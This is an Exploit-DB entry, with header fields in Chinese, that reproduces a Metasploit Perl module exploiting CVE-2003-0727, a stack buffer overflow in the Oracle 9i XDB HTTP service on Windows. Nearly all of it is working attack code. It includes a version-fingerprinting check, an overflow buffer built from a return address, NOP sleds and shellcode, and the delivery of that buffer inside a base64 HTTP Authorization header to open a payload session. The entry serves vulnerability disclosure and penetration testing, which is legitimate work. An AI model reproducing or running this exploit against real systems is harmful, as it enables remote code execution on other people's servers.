标题: Oracle 9.2.0.1 - Universal XDB HTTP Pass Overflow (Metasploit) EDB-ID: 1365 CVE: 2003-0727 类型: REMOTE 平台: WINDOWS 发布日期: 2005-12-08 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::oracle9i_xdb_http;
use base "Msf::Exploit";
use strict;
use Pex::Text;

my $advanced = { };

my $info =
  {

 'Name'  => 'Oracle 9i XDB HTTP PASS Overflow (win32)',
 'Version'  => '$Revision: 1.1 $',
 'Authors' => [ 'y0 [at] w00t-shell.net', ],
 'Arch'  => [ 'x86' ],
 'OS'    => [ 'win32', 'winnt', 'win2000', 'winxp', 'win2003'],
 'Priv'  => 0,
 'UserOpts'  =>
   {
  'RHOST' => [1, 'ADDR', 'The target address'],
  'RPORT' => [1, 'PORT', 'The target port', 8080],
  'SSL'   => [0, 'BOOL', 'Use SSL'],
   },
   
 'AutoOpts' => { 'EXITFUNC' => 'thread' },
 'Payload' =>
   {
  'Space'     => 450,
  'BadChars'  => "\x00",
  'Prepend'   => "\x81\xc4\xff\xef\xff\xff\x44",
  'Keys'      => ['+ws2ord'],
   },

 'Description'  => Pex::Text::Freeform(qq{
  This module exploits a stack overflow in the authorization
  code of the Oracle 9i HTTP XDB service. David Litchfield, 
        has illustrated multiple vulnerabilities in the Oracle
        9i XML Database (XDB), during a seminar on "Variations
        in exploit methods between Linux and Windows" presented
        at the Blackhat conference. 
}),

 'Refs'  =>   [
  ['BID', '8375'],
  ['CVE', '2003-0727'],
  ['URL', 'http://www.blackhat.com/presentations/bh-usa-03/bh-us-03-litchfield-paper.pdf']
   ],

 'DefaultTarget' => 0,
 'Targets' => [

  ['Oracle 9.2.0.1 Universal', 0x60616d46],

   ],

 'Keys' => ['oracle'],

 'DisclosureDate' => 'Aug 18 2003',
  };

sub new {
 my $class = shift;
 my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
 return($self);
}

sub Check {
 my ($self) = @_;
 my $target_host = $self->GetVar('RHOST');
 my $target_port = $self->GetVar('RPORT');

 my $s = Msf::Socket::Tcp->new
   (
  'PeerAddr'  => $target_host,
  'PeerPort'  => $target_port,
  'LocalPort' => $self->GetVar('CPORT'),
  'SSL'       => $self->GetVar('SSL'),
   );
 if ($s->IsError) {
  $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  return $self->CheckCode('Connect');
 }

 $s->Send("GET / HTTP/1.0\r\n\r\n");
 my $res = $s->Recv(-1, 20);
 $s->Close();

 if ($res !~ /9\.2\.0\.1\.0/) {
  $self->PrintLine("[*] This server does not appear to be vulnerable.");
  return $self->CheckCode('Safe');
 }

 $self->PrintLine("[*] Vulnerable installation detected :-)");
 return $self->CheckCode('Detected');
}

sub Exploit
{
 my $self = shift;
 my $target_host = $self->GetVar('RHOST');
 my $target_port = $self->GetVar('RPORT');
 my $target_idx  = $self->GetVar('TARGET');
 my $offset      = $self->GetVar('OFFSET');
 my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
 my $target = $self->Targets->[$target_idx];

 if (! $self->InitNops(128)) {
  $self->PrintLine("[*] Failed to initialize the nop module.");
  return;
 }

 my $splat =
   "meta:". Pex::Text::LowerCaseText(442). "\xeb\x64\x42\x42".
   pack('V', $target->[1]). "wwwwoooottttsssshhhhllll".
   $self->MakeNops(242). "\xeb\x10". $self->MakeNops(109). $shellcode;

 my $sploit =
   "GET / HTTP/1.1". "\r\n".
   "Host: $target_host:$target_port". "\r\n".
   "User-Agent: Mozilla/5.0 (X11; U; Linux i686;".
   "en-US; rv:1.7.12) Gecko/20050923". "\r\n".
   "Accept: text/xml,application/xml,application".
   "/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,".
   "image/png,*/*;q=0.5". "\r\n".
   "Accept-Language: en-us,en;q=0.5". "\r\n".
   "Accept-Encoding: gzip,deflate". "\r\n".
   "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7". "\r\n".
   "Keep-Alive: 300". "\r\n".
   "Connection: keep-alive". "\r\n".
   "Authorization: Basic ". Pex::Text::Base64Encode($splat, '').
   "\r\n\r\n";

 $self->PrintLine(sprintf("[*] Trying to exploit target %s 0x%.8x", $target->[0], $target->[1]));

 my $s = Msf::Socket::Tcp->new
   (
  'PeerAddr'  => $target_host,
  'PeerPort'  => $target_port,
  'LocalPort' => $self->GetVar('CPORT'),
  'SSL'       => $self->GetVar('SSL'),
   );
 if ($s->IsError) {
  $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  return;
 }

 $s->Send($sploit);
 $self->Handler($s);
 $s->Close();
 return;
}

1;


# milw0rm.com [2005-12-08] URL: https://www.exploit-db.com/exploits/1365